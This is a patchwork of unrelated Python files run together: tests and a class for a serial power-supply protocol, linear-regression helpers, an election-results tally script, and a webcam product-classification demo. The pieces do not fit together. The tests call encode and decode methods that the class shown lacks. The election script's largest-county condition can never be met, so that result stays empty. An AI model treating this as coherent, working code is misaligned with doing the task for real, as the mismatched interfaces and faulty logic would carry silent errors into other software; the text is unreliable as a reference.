        max_voltage_5_command[-1] = 0x67
        self.assertTrue(self._command_properly_formed(max_voltage_5_command))
        max_voltage_5_command[0] = 0xab
        self.assertFalse(self._command_properly_formed(max_voltage_5_command))

    def test_little_endian_encode(self):
        self.assertEqual(self.test_cls._little_endian_encode(5)[0], 5)
        self.assertEqual(self.test_cls._little_endian_encode(5)[:], b'\x05\x00\x00\x00')
        self.assertEqual(self.test_cls._little_endian_encode(1 << 8)[:], b'\x00\x01\x00\x00')
        self.assertEqual(self.test_cls._little_endian_encode(1 << 8)[1], 1)
        self.assertEqual(self.test_cls._little_endian_encode(1 << 16)[:], b'\x00\x00\x01\x00')
        self.assertEqual(self.test_cls._little_endian_encode(1 << 16)[2], 1)
        self.assertEqual(self.test_cls._little_endian_encode(1 << 24)[:], b'\x00\x00\x00\x01')
        self.assertEqual(self.test_cls._little_endian_encode(1 << 24)[3], 1)
        self.assertEqual(self.test_cls._little_endian_encode((1 << 32) - 1)[:], b'\xff\xff\xff\xff')

    def test_little_endian_decode(self):
        self.assertEqual(self.test_cls._little_endian_decode(self.test_cls._little_endian_encode((1 << 32) - 1)),
                         (1 << 32) - 1)
        self.assertEqual(self.test_cls._little_endian_decode(self.test_cls._little_endian_encode(0xAABBCCDD)),
                         0xAABBCCDD)
        for x in range(32):
            self.assertEqual(self.test_cls._little_endian_decode(self.test_cls._little_endian_encode(1 << x)),
                             1 << x)

    def test_packet_encode(self):
        command = bytearray(26)
        command[0:3] = [0xaa, 0x00, 0x26]
        command[-1] = sum(command[:-1]) % 256
        self.assertEqual(self.test_cls._packet_encode(0x26), command)
        command[3] = 0xFF
        command[-1] = sum(command[:-1]) % 256
        self.assertEqual(self.test_cls._packet_encode(0x26, (0xFF, 1)), command)
        command[4] = 0xAA
        command[6] = 0xBB
        command[-1] = sum(command[:-1]) % 256
        self.assertEqual(self.test_cls._packet_encode(0x26, (0xFF, 1), (0xAA, 2), (0xBB, 1)), command)

    def test_packet_decode(self):
        command = bytearray(26)
        command[0:3] = [0xaa, 0x00, 0x26]
        command[-1] = sum(command[:-1]) % 256
        decoded = self.test_cls._packet_decode(self.test_cls._packet_encode(0x26))
        self.assertEqual(decoded, {"command": 0x26, "address": 0x00, "start": 0xAA, "checksum": command[-1]})
        command[3] = 0xFF
        command[-1] = sum(command[:-1]) % 256
        decoded = self.test_cls._packet_decode(self.test_cls._packet_encode(0x26, (0xFF, 1)), ("my0xff", 1))
        self.assertEqual(decoded, {"command": 0x26, "address": 0x00, "start": 0xAA, "checksum": command[-1],
                                   "my0xff": 0xFF})
        command[4:5] = [0xAA, 0xBB]
        command[6] = 0xCC
        command[-1] = sum(command[:-1]) % 256
        decoded = self.test_cls._packet_decode(self.test_cls._packet_encode(0x26, (0xFF, 1), (0xAABB, 2), (0xCC, 4)),
                                               ("my0xff", 1), ("my0xaabb", 2), ("my0xcc", 4))
        self.assertEqual(decoded, {"command": 0x26, "address": 0x00, "start": 0xAA, "checksum": command[-1],
                                   "my0xff": 0xFF, "my0xaabb": 0xAABB, "my0xcc": 0xCC})

class InstrumentInterface:
    '''Provides the interface to a 26 byte instrument along with utility
    functions.
    '''
    debug = 0  # Set to 1 to see dumps of commands and responses
    length_packet = 26  # Number of bytes in a packet
    convert_current = 1e3  # Convert current in A to 1 mA
    convert_voltage = 1e3  # Convert voltage in V to mV
    convert_power = 1e3  # Convert power in W to mW
    # Number of settings storage registers
    lowest_register = 1
    highest_register = 25

    def Initialize(self, com_port, baudrate, address=0):
        self.sp = serial.Serial(com_port, baudrate)
        self.address = address

    def DumpCommand(self, bytes):
        '''Print out the contents of a 26 byte command.  Example:
            aa .. 20 01 ..   .. .. .. .. ..
            .. .. .. .. ..   .. .. .. .. ..
            .. .. .. .. ..   cb
        '''
        assert (len(bytes) == self.length_packet)
        header = " " * 3
        out(header)
        for i in range(self.length_packet):
            if i % 10 == 0 and i != 0:
                out(nl + header)
            if i % 5 == 0:
                out(" ")
            s = "%02x" % ord(bytes[i])
            if s == "00":
                # Use the decimal point character if you see an
                # unattractive printout on your machine.
                # s = "."*2
                # The following alternate character looks nicer
                # in a console window on Windows.
                s = chr(250) * 2
            out(s)
        out(nl)

    def CommandProperlyFormed(self, cmd):
        '''Return 1 if a command is properly formed; otherwise, return 0.
        '''
        commands = (
            0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29,
            0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x31, 0x32, 0x37, 0x12
        )
        # Must be proper length
        if len(cmd) != self.length_packet:
            out("Command length = " + str(len(cmd)) + "-- should be " + \
                str(self.length_packet) + nl)
            return 0
        # First character must be 0xaa
        if ord(cmd[0]) != 0xaa:
            out("First byte should be 0xaa" + nl)
            return 0
        # Second character (address) must not be 0xff
        if ord(cmd[1]) == 0xff:
            out("Second byte cannot be 0xff" + nl)
            return 0
        # Third character must be valid command
        byte3 = "%02X" % ord(cmd[2])
        if ord(cmd[2]) not in commands:
            out("Third byte not a valid command:  %s\n" % byte3)
            return 0
        # Calculate checksum and validate it
        checksum = self.CalculateChecksum(cmd)
        if checksum != ord(cmd[-1]):
            out("Incorrect checksum" + nl)
            return 0
        return 1

    def CalculateChecksum(self, cmd):
        '''Return the sum of the bytes in cmd modulo 256.
        '''
        assert ((len(cmd) == self.length_packet - 1) or (len(cmd) == self.length_packet))
        checksum = 0
        for i in range(self.length_packet - 1):
            checksum += ord(cmd[i])
        checksum %= 256
        return checksum

    def StartCommand(self, byte):
        return chr(0xaa) + chr(self.address) + chr(byte)

    def SendCommand(self, command):
        '''Sends the command to the serial stream and returns the 26 byte
        response.
        '''
        assert (len(command) == self.length_packet)
        self.sp.write(command)
        response = self.sp.read(self.length_packet)
        assert (len(response) == self.length_packet)
        return response

    def ResponseStatus(self, response):
        '''Return a message string about what the response meant.  The
        empty string means the response was OK.
        '''
        responses = {
            0x90: "Wrong checksum",
            0xA0: "Incorrect parameter value",
            0xB0: "Command cannot be carried out",
            0xC0: "Invalid command",
            0x80: "",
        }
        assert (len(response) == self.length_packet)
        assert (ord(response[2]) == 0x12)
        return responses[ord(response[3])]

    def CodeInteger(self, value, num_bytes=4):
        '''Construct a little endian string for the indicated value.  Two
        and 4 byte integers are the only ones allowed.
        '''
        assert (num_bytes == 1 or num_bytes == 2 or num_bytes == 4)
        value = int(value)  # Make sure it's an integer
        s = chr(value & 0xff)
        if num_bytes >= 2:
            s += chr((value & (0xff << 8)) >> 8)
            if num_bytes == 4:
                s += chr((value & (0xff << 16)) >> 16)
                s += chr((value & (0xff << 24)) >> 24)
                assert (len(s) == 4)
        return s

    def DecodeInteger(self, str):
        '''Construct an integer from the little endian string. 1, 2, and 4 byte
        strings are the only ones allowed.
        '''
        assert (len(str) == 1 or len(str) == 2 or len(str) == 4)
        n = ord(str[0])
        if len(str) >= 2:
            n += (ord(str[1]) << 8)
            if len(str) == 4:
                n += (ord(str[2]) << 16)
                n += (ord(str[3]) << 24)
        return n

    def GetReserved(self, num_used):
        '''Construct a string of nul characters of such length to pad a
        command to one less than the packet size (leaves room for the
        checksum byte.
        '''
        num = self.length_packet - num_used - 1
        assert (num > 0)
        return chr(0) * num

    def PrintCommandAndResponse(self, cmd, response, cmd_name):
        '''Print the command and its response if debugging is on.
        '''
        assert (cmd_name)
        if self.debug:
            out(cmd_name + " command:" + nl)
            self.DumpCommand(cmd)
            out(cmd_name + " response:" + nl)
            self.DumpCommand(response)

    def GetCommand(self, command, value, num_bytes=4):
        '''Construct the command with an integer value of 0, 1, 2, or
        4 bytes.
        '''
        cmd = self.StartCommand(command)
        if num_bytes > 0:
            r = num_bytes + 3
            cmd += self.CodeInteger(value)[:num_bytes] + self.Reserved(r)
        else:
            cmd += self.Reserved(0)
        cmd += chr(self.CalculateChecksum(cmd))
        assert (self.CommandProperlyFormed(cmd))
        return cmd

    def GetData(self, data, num_bytes=4):
        '''Extract the little endian integer from the data and return it.
        '''
        assert (len(data) == self.length_packet)
        if num_bytes == 1:
            return ord(data[3])
        elif num_bytes == 2:
            return self.DecodeInteger(data[3:5])
        elif num_bytes == 4:
            return self.DecodeInteger(data[3:7])
        else:
            raise Exception("Bad number of bytes:  %d" % num_bytes)

    def Reserved(self, num_used):
        assert (num_used >= 3 and num_used < self.length_packet - 1)
        return chr(0) * (self.length_packet - num_used - 1)

    def SendIntegerToPS(self, byte, value, msg, num_bytes=4):
        '''Send the indicated command along with value encoded as an integer
        of the specified size.  Return the instrument's response status.
        '''
        cmd = self.GetCommand(byte, value, num_bytes)
        response = self.SendCommand(cmd)
        self.PrintCommandAndResponse(cmd, response, msg)
        return self.ResponseStatus(response)

    def GetIntegerFromPS(self, cmd_byte, msg, num_bytes=4):
        '''Construct a command from the byte in cmd_byte, send it, get
        the response, then decode the response into an integer with the
        number of bytes in num_bytes.  msg is the debugging string for
        the printout.  Return the integer.
        '''
        assert (num_bytes == 1 or num_bytes == 2 or num_bytes == 4)
        cmd = self.StartCommand(cmd_byte)
        cmd += self.Reserved(3)
        cmd += chr(self.CalculateChecksum(cmd))
        assert (self.CommandProperlyFormed(cmd))
        response = self.SendCommand(cmd)
        self.PrintCommandAndResponse(cmd, response, msg)
        return self.DecodeInteger(response[3:3 + num_bytes])

    def Dec2Bin(self, number):
        '''convert dec integer to binary string bStr'''
        bStr = ''
        if number < 0:
            raise ValueError("must be a positive integer")
        if number == 0:
            return '0'
        while number > 0:
            bStr = str(number % 2) + bStr
            number = number >> 1
        return bStr

    def StateBinStr(self, binStr):
        if binStr[0] == "0":
            op_mode = "Front Panel"
        else:
            op_mode = "Remote Control"

        if binStr[1:4] == "000":
            fan = "off"
        elif binStr[1:4] == "001":
            fan = "1"
        elif binStr[1:4] == "010":
            fan = "2"
        elif binStr[1:4] == "011":
            fan = "3"
        elif binStr[1:4] == "100":
            fan = "4"
        elif binStr[1:4] == "101":
            fan = "5"

        if binStr[4:6] == "00":
            outp_mode = "Off"
        elif binStr[4:6] == "01":
            outp_mode = "CV"
        elif binStr[4:6] == "10":
            outp_mode = "CC"
        elif binStr[4:6] == "11":
            outp_mode = "Unreg"

        if binStr[6] == "0":
            heat_pro = "Normal"
        else:
            heat_pro = "Abnormal"

        if binStr[7] == "0":
            out_state = "OFF"
        else:
            out_state = "ON"
        stateStr = ["   Operation Mode: " + str(op_mode), "   Fan Speed: " + str(fan),
                    "   Output Mode: " + str(outp_mode), "   Over heat protection: " + str(heat_pro),
                    "   Output State: " + str(out_state)]
        return '\t'.join(stateStr)


"""
 Linear Regression Model

 This file contains functions to implement single and multi variable linear regression on the given data set.
"""
from typing import List, Any

import numpy as np
# importing scipy.optimize.minimize for training linear regression
from scipy.optimize import minimize

def gradient_descent(X, y, theta, alpha, num_iters):
    """
    gradient_descent performs gradient descent on the data to learn thetas.
    Updates theta by taking num_iters gradient steps with learning rate alpha.

    :param X: numpy array of shape (m,n)
        Training data
    :param y: matrix(m,1)
        Target values corresponding to X.
    :param theta: matrix(n,1)
        Initial Weights
    :param alpha: floating point value
        Learning rate
    :param num_iters: integer value
        The number of times the gradient descent should run.
    :return: theta, J_history
        thetas are the updated thetas after gradient descent.
        J_history is the cost upon each iteration.
    """

    # initializing some variables for future use
    m = X.shape[0]  # number of training examples
    J_history = np.zeros([num_iters, 1])
    theta_cpy = theta.copy()

    for i in range(num_iters):
        h = X.dot(theta_cpy)
        theta_cpy -= (alpha / m) * X.T.dot((h - y))
        # theta -= (alpha / m) * np.dot(X.T, (np.dot(X, theta)-y))
        J_history[i] = compute_cost(X, y, theta_cpy)

    # theta -= (alpha/m).*(X' *((X*theta)-y));

    return theta_cpy, J_history

def compute_cost(X, y, theta, lamda=0):
    """
    computes the cost of using theta as the parameter for linear regression to fit the data points in X and y.

    :param X: numpy array of shape (m,n)
        Training data
    :param y: matrix(m,)
        Target values corresponding to X.
    :param theta: matrix(n,)
        Weights
    :param lamda: float
        regularizes the cost function according to lamda
    :return: float value
        Cost for given training data nad weights.
    """
    m = y.size  # training data size.
    if theta.ndim < 2:
        theta = theta[:, np.newaxis]
    if y.ndim < 2:
        y = y[:, np.newaxis]

    predictions = np.dot(X, theta)  # h(X)

    J = np.dot((predictions - y).T, (predictions - y)) / (2 * m)  # cost over the training data
    if lamda:
        J += (lamda / (2 * m)) * np.sum(np.square(theta[1:, :]))

    return J.ravel()

def compute_gradient(X, y, theta, lamda=0):
    """
    computes the cost of using theta as the parameter for linear regression to fit the data points in X and y.

    :param X: numpy array of shape (m,n)
        Training data
    :param y: matrix(m,)
        Target values corresponding to X.
    :param theta: matrix(n,)
        Weights
    :param lamda: float
        regularizes the gradient according to lamda
    :return grad: matrix(n,)
        gradient for given training data and weights.
    """
    m = X.shape[0]
    if theta.ndim < 2:
        theta = theta[:, np.newaxis]
    if y.ndim < 2:
        y = y[:, np.newaxis]

    h = np.array(X @ theta)
    grad = (1 / m) * (X.T @ (h - y))
    if lamda:
        grad[1:] += (lamda / m) * theta[1:]
    return grad

def normal_equation(X, y):
    """
    Computes the closed-form solution to linear
    regression using the normal equations.

    :param X: numpy array of shape (m,n)
        Training data
    :param y: matrix(m,1)
        Target values corresponding to X.
    :return: theta matrix(n,1)
        Computed Weights using normal equation
    """

    m = y.size  # training data size

    # matlab implementation -> theta = (pinv(X' * X)) * (X' * y)

    theta = np.dot(np.linalg.inv(X.T.dot(X)), X.T.dot(y))

    return theta

# callback function to record costs after each iteration
def record_cost(lst, cost):
    lst.append(cost)  # list append method implements in place adition

def train_linear_reg(X, y, lamda, method="TNC"):
    # creating short hand for the cost function
    cost_fun = lambda p: compute_cost(X, y, p, lamda)

    # creating short hand for the gradient function
    grad_fun = lambda p: compute_gradient(X, y, p, lamda)

    cost_list = []  # this list will store cost after each iteration

    # creating short hand for the record_cost function
    rec_cost = lambda p: record_cost(cost_list, p)

    # initializing thetas
    initial_theta = np.zeros([X.shape[1]])

    result = minimize(fun=cost_fun, x0=initial_theta, jac=grad_fun, method=method, callback=rec_cost)

    # print("Output: \n{}".format(result))
    return result, cost_list

def validation_curve(X, y, X_val, y_val, lamda_vec=None, method="TNC"):
    if lamda_vec is None:
        lamda_vec = [0, 0.001, 0.003, 0.01, 0.03, 0.1, 0.3, 1, 3, 10]

    error_train = []
    error_val = []

    for lamda in lamda_vec:
        temp_result, _ = train_linear_reg(X, y, lamda, method)
        error_train.append(compute_cost(X, y, temp_result.x, 0))
        error_val.append(compute_cost(X_val, y_val, temp_result.x, 0))

    return lamda_vec, error_train, error_val


#The data we need to retrieve.
# Assign a variable for the file to load and the path.
import csv
import os
# Assign a variable to load a file from a path.
file_to_load=os.path.join('election_results.csv')
# Assign a variable to save the file to a path.
file_to_save = os.path.join("analysis", "election_analysis.txt")
#Open the election results and read the file.

# Intialize a total vote counter
total_votes=0
c_total_votes=0
# Candidate options
candidate_options=[]
# Candidate Dictionary
candidate_votes={}
#create a list of counties
voting_counties = []
# Declare an empty dictionary for counties
county_votes={}

#winning candidate and winning count tracker.
lrg_county=""
winning_turnout=0
c_winning_percent=0
winning_candidate=""
winning_count=0
winning_percentage=0

#open the election results and read the file.
with open(file_to_load) as election_data:
    file_reader = csv.reader(election_data)

    #read the header row
    headers=next(file_reader)

    #print each row in the CSV file
    for row in file_reader:
        #add the total county vote count
        c_total_votes += 1
        # Add the total candidate vote count
        total_votes += 1

        # Print County name for each vote
        county_name=row[1]
        #print the candidate name from each row
        candidate_name=row[2]

        if county_name not in voting_counties:
            #add it to the list of counties.
            voting_counties.append(county_name)

            # Track votes cast per county
            county_votes[county_name]=0
        #add a vote to that county's count
        county_votes[county_name]+=1

        if candidate_name not in candidate_options:
            candidate_options.append(candidate_name)
            candidate_votes[candidate_name]=0
        candidate_votes[candidate_name]+=1
    #save the results to the txt file
    with open(file_to_save,"w") as txt_file:
        #print the final vot count to the terminal.
        election_results=(
            f"\nElection Results\n"
            f"----------------------\n"
            f"Total Votes {total_votes:,}\n"
            f"-----------------------\n"
            f"County Results\n")
        print(election_results, end="")
        txt_file.write(election_results)

        # Determine percentage of votes per county
        for county in county_votes:
            # Retrieve vote vount of the county
            c_votes=county_votes[county]
            # Calculate the percentage of the votes.
            c_vote_percentage=float(c_votes)/float(c_total_votes)*100

            #print county results
            county_results=(
                f"{county}:{c_vote_percentage:.1f}% ({c_votes:,})\n")

            print(county_results)
            #save the county results to the txt file
            txt_file.write(county_results)

            if (c_votes>c_total_votes) and (c_vote_percentage>c_winning_percent):
                winning_turnout=c_votes
                c_winning_percent=c_vote_percentage
                lrg_county = county

        lrg_county_turnout=(
            f"--------------------------\n"
            f"Largest County Turnout: {lrg_county}\n"
            f"--------------------------\n")
        print(lrg_county_turnout)
        txt_file.write(lrg_county_turnout)

        for candidate in candidate_votes:
            votes=candidate_votes[candidate]
            vote_percentage=float(votes)/float(total_votes)*100

            Candidate_results=(
                f"{candidate}:{vote_percentage:.1f}% ({votes:,})\n")

            print(Candidate_results)
            txt_file.write(Candidate_results)

            if (votes>winning_count) and (vote_percentage>winning_percentage):
                winning_count=votes
                winning_percentage=vote_percentage
                winning_candidate=candidate

        winning_candidate_summary=(
            f'-------------------------------\n'
            f'Winner: {winning_candidate}\n'
            f'Winning Vote Count: {winning_count:,}\n'
            f'Winning Percentage: {winning_percentage:.2f}%\n'
            f'-------------------------------\n')
        print(winning_candidate_summary)
        txt_file.write(winning_candidate_summary)


import os
import cv2
import numpy as np
import torch
import torch.nn as nn
import torchvision
import sys
from PIL import Image

device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")

cam = cv2.VideoCapture(0)
model = 'squeezenet'
# model = 'inceptionv3'

def _find_classes(dir):
    """
    Finds the class folders in a dataset.

    Args:
        dir (string): Root directory path.

    Returns:
        tuple: (classes, class_to_idx) where classes are relative to (dir), and class_to_idx is a dictionary.

    Ensures:
        No class is a subdirectory of another.
    """
    if sys.version_info >= (3, 5):
        # Faster and available in Python 3.5 and above
        classes = [d.name for d in os.scandir(dir) if d.is_dir()]
    else:
        classes = [d for d in os.listdir(
            dir) if os.path.isdir(os.path.join(dir, d))]
    classes.sort()
    class_to_idx = {classes[i]: i for i in range(len(classes))}
    return classes, class_to_idx

classes, class_to_idx = _find_classes('../data/combined')
idx_to_classes = {v: k for k, v in class_to_idx.items()}

label_names = classes

label_names = [name.replace('_', ' ') for name in label_names]
print(label_names)

mirror = True

cam.set(3, 1920)  # Set width
cam.set(4, 1080)  # Set height
cam.set(5, 60)    # Set Frame Rate

# |---- Code for drawing ----|
# |---- Code for drawing ----|
# |---- Code for drawing ----|

font = cv2.FONT_HERSHEY_SIMPLEX
bottom_center = (int(cam.get(3) / 2) - 270, int(cam.get(4) / 2) + 490)
top_center = (int(cam.get(3) / 2) - 110, int(cam.get(4) / 2) - 470)
fontScale = 1.25
light_blue = (229, 182, 21)
line_type = 2

cv2.namedWindow('lowes-demo', cv2.WINDOW_NORMAL)

x1 = int((cam.get(3) / 2) - 330)
y1 = int(100)
x2 = int((cam.get(3) / 2) + 330)
y2 = int(cam.get(4) - 100)
print("Rectangle (x1, y1): (", x1, ',', y1, ')')
print("--------- (x2, y2): (", x2, ',', y2, ')')

#  |----Code for Model----|
#  |----Code for Model----|
#  |----Code for Model----|

if model == 'inceptionv3':
    squeezenet = torchvision.models.inception_v3()
    squeezenet.num_classes = len(label_names)
    squeezenet.fc = nn.Linear(2048, squeezenet.num_classes)
    squeezenet.AuxLogits.fc = nn.Linear(768, squeezenet.num_classes)
    model_ = torch.load('../models/_files/inceptionv3_full')
    squeezenet.load_state_dict(model_['state_dict'])

    predict = torchvision.transforms.Compose([
        torchvision.transforms.CenterCrop((abs(y1-y2), abs(x1-x2))),
        torchvision.transforms.Resize((299, 299)),
        torchvision.transforms.ToTensor(),
        torchvision.transforms.Normalize(mean=[0.485, 0.456, 0.406],
                                         std=[0.229, 0.224, 0.225]),
        torchvision.transforms.Lambda(
            lambda x: squeezenet(x.unsqueeze(0).half().to(device))),
        torchvision.transforms.Lambda(
            lambda x: torch.argmax(x, dim=1).item()),
    ])
else:
    squeezenet = torchvision.models.squeezenet1_1()
    squeezenet.num_classes = len(label_names)
    layers = [
        nn.Dropout(0.5),
        nn.Conv2d(512, squeezenet.num_classes,
                  kernel_size=(1, 1), stride=(1, 1)),
        nn.ReLU(inplace=True),
        nn.AvgPool2d(kernel_size=13, stride=1, padding=0)
    ]
    squeezenet.classifier = nn.Sequential(*layers)
    model_ = torch.load('../models/_files/squeeznet_full')
    squeezenet.load_state_dict(model_['state_dict'])

    predict = torchvision.transforms.Compose([
        torchvision.transforms.CenterCrop((abs(y1-y2), abs(x1-x2))),
        torchvision.transforms.Resize((224, 224)),
        torchvision.transforms.ToTensor(),
        torchvision.transforms.Normalize(mean=[0.485, 0.456, 0.406],
                                         std=[0.229, 0.224, 0.225]),
        torchvision.transforms.Lambda(
            lambda x: squeezenet(x.unsqueeze(0).half().to(device))),
        torchvision.transforms.Lambda(
            lambda x: torch.argmax(x, dim=1).item()),
    ])

squeezenet.half()
squeezenet.eval()
squeezenet.to(device)

def overlay_transparent(bg_img, img_to_overlay_t, x, y):
    b, g, r, a = cv2.split(img_to_overlay_t)
    overlay_color = cv2.merge((b, g, r))

    h, w, _ = overlay_color.shape
    roi = bg_img[y:y+h, x:x+w]

    # Black-out the area behind the logo in our original ROI
    img1_bg = cv2.bitwise_and(roi, roi, mask=cv2.bitwise_not(a))

    # Mask out the logo from the logo image.
    img2_fg = cv2.bitwise_and(overlay_color, overlay_color, mask=a)

    # Update the original image with our new ROI
    bg_img[y:y+h, x:x+w] = cv2.add(img1_bg, img2_fg)

    return bg_img

overlay = cv2.resize(cv2.imread('../overlay.png', -1), (1920, 1080))

product_imgs = [cv2.resize(cv2.imread(
    '_files/img/'+x+'.png', -1), (375, 360)) for x in classes]

while True:
    ret_val, img = cam.read()
    img = cv2.flip(img, 1)
    pred = predict(Image.fromarray(img))
    label = label_names[pred]
    cv2.putText(img, model,
                top_center,
                font,
                fontScale,
                light_blue,
                line_type)

    cv2.rectangle(img, (x1, y1), (x2, y2), light_blue, 3)

    cv2.putText(img, label,
                bottom_center,
                font,
                fontScale,
                light_blue,
                line_type)

    if pred == 10:
        cv2.imshow('lowes-demo', overlay_transparent(img, overlay, 0, 0))
    else:
        cv2.imshow('lowes-demo', overlay_transparent(overlay_transparent(
            img, overlay, 0, 0), product_imgs[pred], 1400, 360))

    if cv2.waitKey(1) == 27:
        break  # esc to quit
        cv2.destroyAllWindows()

cv2.destroyAllWindows()